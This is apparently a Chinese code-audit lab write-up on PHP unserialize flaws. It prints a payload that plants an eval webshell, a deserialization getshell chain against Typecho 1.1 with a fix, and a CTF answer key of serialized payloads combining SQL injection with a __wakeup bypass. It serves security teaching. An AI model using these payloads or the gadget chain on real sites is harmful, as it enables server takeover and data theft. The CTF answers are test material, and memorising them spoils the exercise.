PHP-Audit-Labs-Day11-unserialize反序列化漏洞

PHP-Audit-Labs

项目地址:https://www.ripstech.com/php-security-calendar-2017/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
class Template {
public $cacheFile = '/tmp/cachefile';
public $template = '<div>Welcome back %s</div>';

public function __construct($data = null) {//传入$data变量
$data = $this->loadData($data);
$this->render($data);
}

public function loadData($data) {
if (substr($data, 0, 2) !== 'O:'//截取$data参数的前两个字符,判断反序列化内容是否为对象
&& !preg_match('/O:\d:/', $data)) {//匹配 字符串为 \'O:任意十进制
return unserialize($data);
}
return [];
}

public function createCache($file = null, $tpl = null) {
$file = $file ?? $this->cacheFile;
$tpl = $tpl ?? $this->template;
file_put_contents($file, $tpl);//file_put_contents会被调用
}

public function render($data) {
echo sprintf(
$this->template,
htmlspecialchars($data['name'])
);
}

public function __destruct() {
$this->createCache();//实例化templement,对象销毁时会调用 createCache() 函数
}
}

new Template($_COOKIE['data']);

?>
  1. 首先观察unserialize反序列化函数,此时看到loadData函数对传入的$data进行判断。
  2. 接着观察传入$data参数的__construct() 构造函数
  3. 37行中对Templete进行实例化,并将 cookie 中键为'data'数据作为初始化数据进行传入
  4. 对传入的cookie进行控制
  5. 在代码32行,对象销毁时会调用 createCache() 函数,函数将 $template 中的内容放到了 $cacheFile 对应的文件中。file_put_contents() 函数,当文件不存在时,会创建该文件。由此可构造一句话,写入当前路径。
  6. $cacheFile$template 为类变量,反序列化可控
  7. 构造以下反序列化内容,别忘了加'+'号

构造payload:

1
2
3
4
5
6
7
8
9
<?php
class Template{
public $cacheFile = '/test.php';
public $template = '<?php eval($_POST[xxxxx]);?>';
}
$temp = new Template();
$test =array($temp);
print(serialize($test));
?>

运行结果:

1
a:1:{i:0;O:8:"Template":2:{s:9:"cacheFile";s:9:"/test.php";s:8:"template";s:28:"<?php eval($_POST[xxxxx]);?>";}}

生成test.php内容为<?php eval($_POST[xxxxx]);?>

实例分析

本次实例分析,选取的是 Typecho-1.1 版本,在该版本中,用户可通过反序列化Cookie数据进行前台Getshell。该漏洞出现于 install.php 文件 230行 ,具体代码如下:

1
2
3
4
5
6
7
<?php
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));//对Cookie中的数据base64解码
Typecho_Cookie::delete('__typecho_config');//进行了反序列化操作
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>

install.php前面几行我们可以查看到判断条件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//判断是否已经安装
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
exit;
}

// 挡掉可能的跨站请求
if (!empty($_GET) || !empty($_POST)) {
if (empty($_SERVER['HTTP_REFERER'])) {
exit;
}

$parts = parse_url($_SERVER['HTTP_REFERER']);
if (!empty($parts['port'])) {
$parts['host'] = "{$parts['host']}:{$parts['port']}";
}

if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
exit;
}
}
  1. 第一个if判断,可通过GET传递 finish=任意值 绕过
  2. 第二if判断是否有GET或者POST传参,并判断Referer是否为空
  3. 第四个if判断Referer是否为本站点

213行接着进行判断

  1. 第一个if判断 $_GET['finish'] 是否设置
  2. 然后判断 config.inc.php文件 是否存在
  3. 安装后已存在,第三个判断cookie中 __typecho_config 参数是否为空,不为空。进入else分支。

综上,具体构造如下图:

1
2
3
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
  1. 反序列化结果存储到 $config 变量中
  2. 然后将 $config['adapter']$config['prefix'] 作为 Typecho_Db类的初始化变量创建类实例。

我们可以在 var/Typecho/Db.php 文件中找到该类构造函数代码,具体如下:

上图代码 第120行 ,对传入的 $adapterName 变量进行了字符串拼接操作,对于PHP而言,如果 $adapterName 类型为对象,则会调用该类 __toString() 魔术方法。可作为反序列化的一个触发点,我们全局搜索一下 __toString() ,查看是否有可利用的点。实际搜索时,会发现有三个类都定义了 __toString() 方法:

  • 第一处 var\Typecho\Config.php
1
2
3
4
public function __toString()
{
return serialize($this->_currentConfig);
}

调用 serialize() 函数进行序列化操作,会自动触发 __sleep() ,如果存在可利用的 __sleep() ,则可以进一步利用。

  • 第二处 var\Typecho\Db\Query.php

该方法用于构建SQL语句,并没有执行数据库操作,所以暂无利用价值。

  • 第三处var\Typecho\Feed.php

在代码 237行$this->_items 为类变量,反序列化可控,在代码 358行$item['author']->screenName,如果 $item['author'] 中存储的类没有'screenName'属性或该属性为私有属性,此时会触发该类中的 __get() 魔法方法,这个可作为进一步利用的点,继续往下看代码,未发现有危险函数的调用。

记一波魔术方法及对应的触发条件,具体如下:

1
2
3
4
5
6
7
8
9
10
11
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发

var/Typecho/Request.phpTypecho_Request 类中,我们发现 __get() 方法,跟踪该方法的调用,具体如下:

1
2
3
4
public function __get($key)
{
return $this->get($key);
}

array_map() 函数和 call_user_func 函数,都可以作为利用点

$filter 作为调用函数,$value 为函数参数,跟踪变量,看一下是否可控。这两个变量都来源于类变量,反序列化可控。从上面的分析中,可知当 $item['author'] 满足一定条件会触发 __get 方法。

假设 $item['author'] 中存储 Typecho_Request 类实例,此时调用 $item['author']->screenName ,在Typecho_Request 类中没有该属性,就会调用类中的 __get($key) 方法,$key 传入的值为 scrrenName

参数传递过程如下:$key='scrrenName'=>$this->_param[$key]=>$value

我们将 $this->_param['scrrenName'] 的值设置为想要执行的函数,构造 $this->_filter 为对应函数的参数值,具体构造如下:

img

接下来我们去看一下 Typecho_Feed 类的构造,该类在 var/Typecho/Feed.php 文件中,代码如下:

img

上图代码 第7行 ,满足 self::RSS2$this->_type 相等进入该分支,所以 $this->_type 需要构造,item['author'] 为触发点,需要构造 $this_items ,具体构造如下:

img

代码 22行 在实际利用没必要添加,install.php在代码 54行 调用 ob_start() 函数,该函数对输出内容进行缓冲,反序列化漏洞利用结束后,在var\Typecho\Db.php代码121行,触发异常,在 var\Typecho\Common.php 代码237行调用 ob_end_clean()函数 清除了缓冲区内容,导致无法看见执行结果,考虑在进入到异常处理前提前报错结束程序。由此构造该数据。执行结果如下:

img

修复建议

造成该漏洞的原因主要有两点:

  • config.inc.php 文件存在的时,可绕过判断继续往下执行代码。
  • 传入反序列化函数的参数可控

修复方法:在 install.php 文件第一行判断 config.inc.php 是否存在,如果存在,则退出代码执行。

1
2
3
4
<?php 
if (file_exists(dirname(__FILE__) . '/config.inc.php'))
exit('Access Denied');
?>

CTF

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
<?php
include "config.php";

class HITCON{
public $method;
public $args;
public $conn;

function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
$this->__conn();
}

function __conn() {
global $db_host, $db_name, $db_user, $db_pass, $DEBUG;
if (!$this->conn)
$this->conn = mysql_connect($db_host, $db_user, $db_pass);
mysql_select_db($db_name, $this->conn);
if ($DEBUG) {
$sql = "DROP TABLE IF EXISTS users";
$this->__query($sql, $back=false);
$sql = "CREATE TABLE IF NOT EXISTS users (username VARCHAR(64),
password VARCHAR(64),role VARCHAR(256)) CHARACTER SET utf8";

$this->__query($sql, $back=false);
$sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')";
$this->__query($sql, $back=false);
}
mysql_query("SET names utf8");
mysql_query("SET sql_mode = 'strict_all_tables'");
}

function __query($sql, $back=true) {
$result = @mysql_query($sql);
if ($back) {
return @mysql_fetch_object($result);
}
}

function login() {
list($username, $password) = func_get_args();
$sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, md5($password));
$obj = $this->__query($sql);

if ( $obj != false ) {
define('IN_FLAG', TRUE);
$this->loadData($obj->role);
}
else {
$this->__die("sorry!");
}
}

function loadData($data) {
if (substr($data, 0, 2) !== 'O:' && !preg_match('/O:\d:/', $data)) {
return unserialize($data);
}
return [];
}

function __die($msg) {
$this->__close();
header("Content-Type: application/json");
die( json_encode( array("msg"=> $msg) ) );
}

function __close() {
mysql_close($this->conn);
}

function source() {
highlight_file(__FILE__);
}

function __destruct() {
$this->__conn();
if (in_array($this->method, array("login", "source"))) {
@call_user_func_array(array($this, $this->method), $this->args);
}
else {
$this->__die("What do you do?");
}
$this->__close();
}

function __wakeup() {
foreach($this->args as $k => $v) {
$this->args[$k] = strtolower(trim(mysql_escape_string($v)));
}
}
}
class SoFun{
public $file='index.php';

function __destruct(){
if(!empty($this->file)) {
include $this->file;
}
}
function __wakeup(){
$this-> file='index.php';
}
}
if(isset($_GET["data"])) {
@unserialize($_GET["data"]);
}
else {
new HITCON("source", array());
}

?>

config.php

1
2
3
4
5
6
7
<?php
$db_host = 'localhost';
$db_name = 'test';
$db_user = 'root';
$db_pass = '123';
$DEBUG = 'xx';
?>

flag.php

1
2
3
4
5
<?php
!defined('IN_FLAG') && exit('Access Denied');
echo "flag{un3eri@liz3_i3_s0_fun}";

?>

这道题主要考察对php反序列化函数的利用,以及常见的绕过方法。

img

访问flag.php,显示禁止访问,题目默认显示源码,在下图代码57行,数据库查询内容不为空的情况下,定义常量IN_FLAG,猜测需要满足该条件才能访问flag.php。然后调用loadData函数。

img

loadData函数,对传入参数进行判断,如果验证通过,则作为参数传入到反序列化函数,验证不通过返回为空,该判断绕过可参考Day11,传入内容来源于数据库查询结果,此时可考虑如何构造数据库查询结果。

img

index.php页面显示源码中,我们发现SoFun类,如下图,在__destruct()函数中,会对类变量$this->file所对应的文件进行包含,类变量反序列化可控,在loadData函数调用前,对IN_FLAG常量进行了设置,如果loadData函数传入参数值为SoFun类反序列化字符串,且控制类变量$this->file=flag.php,则可以包含flag.php文件,此时'IN_FLAG'已经设置,可获取到flag,需考虑绕过__wakeup函数。

img

考虑如何控制loadData函数传入参数的值,从下图可知,$obj->role来源于数据库查询结果,而构建sql语句的username字段来源于$username,$username变量来源于func_get_args()函数,该函数返回包含调用函数参数列表的数组,如果login()函数传入参数可控,可通过union联合查询,构造查询结果,使构造数据为SoFun类序列化字符串。我们去看一下login函数的调用。

img

HITCON__destruct方法中,通过call_user_func_array()函数调用login或source方法,如果$this->method='login'则可以调用login()函数,$this->method为类变量,反序列化可控。$this->args为调用函数传入参数,意味着login函数中$username变量可控,此时可通过SQL注入,构造查询数据。

img

在进行反序列化时,会调用__wakeup对类变量args进行处理,此时调用mysql_escape_string函数对$this->args进行转义。可通过CVE-2016-7124,序列化字符串中,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup的执行。绕过检测,进行sql注入。

img

总结一下思路:

1.构造HITCON类反序列化字符串,其中$method='login',$args数组'username'部分可用于构造SQL语句,进行SQL注入,'password'部分任意设置。

2.调用login()函数后,利用$username构造联合查询,使查询结果为SoFun类反序列化字符串,设置$file='flag.php',需绕过__wakeup()函数。

3.绕过LoadData()函数对反序列化字符串的验证,参考Day11。

4.SoFun类 __destruct()函数调用后,包含flag.php文件,获取flag,需绕过__wakeup()函数

第二个答案是另一种思路,大家可研究一下。

注:因为传参方式为GET,注意进行URL编码。

参考答案:

1
2
3
4
O:6:"HITCON":3:{s:6:"method";s:5:"login";s:4:"args";a:2:{s:8:"username";s:81:"1' union select 1,2,'a:1:{s:2:"xx";O:%2b5:"SoFun":2:{s:4:"file";s:8:"flag.php";}}'%23";s:8:"password";s:3:"234";}}
O:5:"SoFun":1:{s:4:"file";s:8:"flag.php";}
a:1:{s:2:"xx";O:5:"SoFun":2:{s:4:"file";s:8:"flag.php";}}
O:5:"SoFun":3:{s:4:"file";s:8:"flag.php";s:2:"ff";O:6:"HITCON":5:{s:6:"method";s:5:"login";s:4:"args";a:2:{i:0;s:12:"1' or '1'--+";i:1;s:3:"111";}s:4:"conn";N;}}

img

转载自:https://xz.aliyun.com/t/2733

-------------本文结束感谢您的阅读-------------